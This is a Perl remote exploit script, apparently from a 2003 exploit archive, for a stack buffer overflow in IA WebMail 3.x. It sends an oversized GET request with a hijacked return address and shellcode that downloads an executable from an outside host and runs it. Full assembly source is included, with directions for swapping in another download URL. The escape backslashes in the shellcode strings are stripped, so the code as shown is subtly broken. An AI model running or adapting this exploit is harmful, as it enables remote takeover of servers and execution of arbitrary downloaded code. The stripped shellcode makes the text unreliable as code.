#!/usr/bin/perl -w
#
# IA WebMail 3.x (iaregdll.dll version 1.0.0.5) Remote Exploit
# Application Specific Shellcode: URL Downloader
#  - www elitehaven net/ncat.exe (downloaded)
#  - c:nc.exe                          (created)
#
# By Peter Winter-Smith peter4020 hotmail com
# Shellcode included - will need reassembling to use different
# urls and files etc.
#
# Tested against:
#  - Windows XP Home SP1
#  - Windows 2000 Pro SP4
#
# Shellcode should work each time, since it steals it's addresses
# from the iaregdll.dll module import tables.
# Uses a very static jmp esp in iaregdll.dll - Should work on all
# servers without alteration!
#
# If the remote server is running a firewall, the urldownloader
# will be unable to spawn a shell, so for testing I recommend
# that you close the firewalls, or get another shellcode which
# will deal with this. This exploit is for PoC purposes only :o)
#
# Notes:
#  - WebMailsvr.exe exits without consuming 100% resources in most
#    cases.
#  - This has only been tested with IA WebMail 3.1, however it was
#    designed to exploit all versions.



use IO::Socket;

if(!($ARGV[1]))
{
 print "Usage: iawebmail.pl <victim> <port>nn";
 exit;
}

$shellcode =            "x90xEBx3Cx5Fx55x89xE5x81" .
                        "xC4xE8xFFxFFxFFx57x31xDB" .
                        "xB3x07xB0xFFxFCxF2xAExFE" .
                        "x47xFFxFExCBx80xFBx01x75" .
                        "xF4x5Fx57x8Dx7Fx0Bx57x8D" .
                        "x7Fx13x57x8Dx7Fx08x57x8D" .
                        "x7Fx23x57x8Dx7Fx09x47x57" .
                        "x8Dx54x24x14x52xEBx02xEB" .
                        "x52x89xD6xFFx36xFFx15xDC" .
                        "x51x02x10x5Ax52x8Dx72xFC" .
                        "xFFx36x50xFFx15x14x52x02" .
                        "x10x5Ax52x31xC9x51x51x8D" .
                        "x72xF0xFFx36x8Dx72xF4xFF" .
                        "x36x51xFFxD0x5Ax52xFFx72" .
                        "xECxFFx15xDCx51x02x10x5A" .
                        "x52x8Dx72xF8xFFx36x50xFF" .
                        "x15x14x52x02x10x5Ax52x31" .
                        "xC9x41x51x8Dx72xF0xFFx36" .
                        "xFFxD0xCCxE8x6BxFFxFFxFF" .
                        "x55x52x4Cx4Dx4Fx4Ex2Ex44" .
                        "x4Cx4CxFFx55x52x4Cx44x6F" .
                        "x77x6Ex6Cx6Fx61x64x54x6F" .
                        "x46x69x6Cx65x41xFFx57x69" .
                        "x6Ex45x78x65x63xFFx68x74" .
                        "x74x70x3Ax2Fx2Fx77x77x77" .
                        "x2Ex65x6Cx69x74x65x68x61" .
                        "x76x65x6Ex2Ex6Ex65x74x2F" .
                        "x6Ex63x61x74x2Ex65x78x65" .
                        "xFFx63x3Ax5Cx6Ex63x2Ex65" .
                        "x78x65xFFx6Bx65x72x6Ex65" .
                        "x6Cx33x32x2Ex64x6Cx6CxFF";

$victim = IO::Socket::INET->new(Proto=>'tcp',
                                PeerAddr=>$ARGV[0],
                                PeerPort=>$ARGV[1])
                            or die "Unable to connect to $ARGV[0] on port $ARGV[1]";
$ebp = "BBBB";
$eip = "x33xBDx02x10";
$exploit = "GET /" . "a"x1036 . $ebp . $eip . $shellcode . " HTTP/1.1nn";

print $victim $exploit;

print " + Malicious GET request sent ...n";
print " + Wait a moment now, then connect to $ARGV[0] on port 9999.n";

sleep(5);

print "Done.n";

close($victim);
exit;

########################################
##                            SHELLCODE                              #
########################################
# ; IA WebMail 3.x Shellcode (iaregdll.dll version 1.0.0.5)
# ; Url Download + Execute
# ; By Peter Winter-Smith
# ; [peter4020@hotmail.com]
# ;
# ; nasmw -fbin -o iashellcode.s iashellcode.asm
#
# bits 32
# 
# int3
# jmp short killnull
# 
# next:
# pop edi
# 
# push ebp
# mov ebp, esp
# add esp, -24
# 
# push edi
# 
# xor ebx, ebx
# mov bl, 07h
# mov al, 0ffh
# 
# cld
# nullify:
# repne scasb
# inc byte [edi-01h]
# dec bl
# cmp bl, 01h
# jne nullify
# 
# pop edi
# 
# push edi		; 'URLMON.DLL'
# lea edi, [edi+11]
# push edi		; 'URLDownloadToFileA'
# lea edi, [edi+19]
# push edi		; 'WinExec'
# lea edi, [edi+08]
# push edi		; 'http://www.elitehaven.net/ncat.exe'
# lea edi, [edi+35]
# push edi		; 'c:nc.exe'
# lea edi, [edi+09]
# inc edi
# push edi		; 'kernel32.dll'
# 
# lea edx, [esp+20]
# push edx
# 
# jmp short over
# killnull:
# jmp short data
# over:
# 
# mov esi, edx
# push dword [esi]
# 
# call [100251DCh]	; LoadLibraryA
# 
# pop edx
# push edx
# lea esi, [edx-04]
# push dword [esi]
# 
# push eax
# 
# call [10025214h]	; GetProcAddress(URLMON.DLL, URLDownloadToFileA);
# 
# pop edx
# push edx
# 
# xor ecx, ecx
# push ecx
# push ecx
# lea esi, [edx-16]	; file path
# push dword [esi]
# lea esi, [edx-12]	; url
# push dword [esi]
# push ecx
# 
# call eax
# 
# pop edx
# push edx
# 
# push dword [edx-20]
# 
# call [100251DCh]	; LoadLibraryA
# 
# pop edx
# push edx
# 
# 
# lea esi, [edx-08]
# push dword [esi]	; 'WinExec'
# push eax		; kernel32.dll handle
# 
# call [10025214h]	; GetProcAddress(kernel32.dll, WinExec);
# 
# pop edx
# push edx
# 
# xor ecx, ecx
# inc ecx
# push ecx
# 
# lea esi, [edx-16]	; file path
# push dword [esi]
# 
# call eax
# 
# int3
# 
# 
# data:
# call next
# db 'URLMON.DLL',0ffh
# db 'URLDownloadToFileA',0ffh
# db 'WinExec',0ffh
# db 'http://www.elitehaven.net/ncat.exe',0ffh
# ; When altering, you MUST be sure
# ; to also alter the offsets in the 0ffh to null
# ; byte search!
# ; for example:
# ;   db 'http://www.site.com/someguy/trojan.exe',0ffh
# ; count the length of the url, and add one for the 0ffh byte.
# ; The above url is 38 bytes long, plus one for our null, is 39 bytes.
# ; find the code saying (at the start of the shellcode):
# ;   push edi		; 'http://www.elitehaven.net/ncat.exe'
# ;   lea edi, [edi+35]
# ; and make it:
# ;   push edi		; 'http://www.site.com/someguy/trojan.exe'
# ;   lea edi, [edi+39]
# ; same goes for the filename below :o)
# db 'c:nc.exe',0ffh
# db 'kernel32.dll',0ffh
#####################################################################

# www.Syue.com [2003-11-19]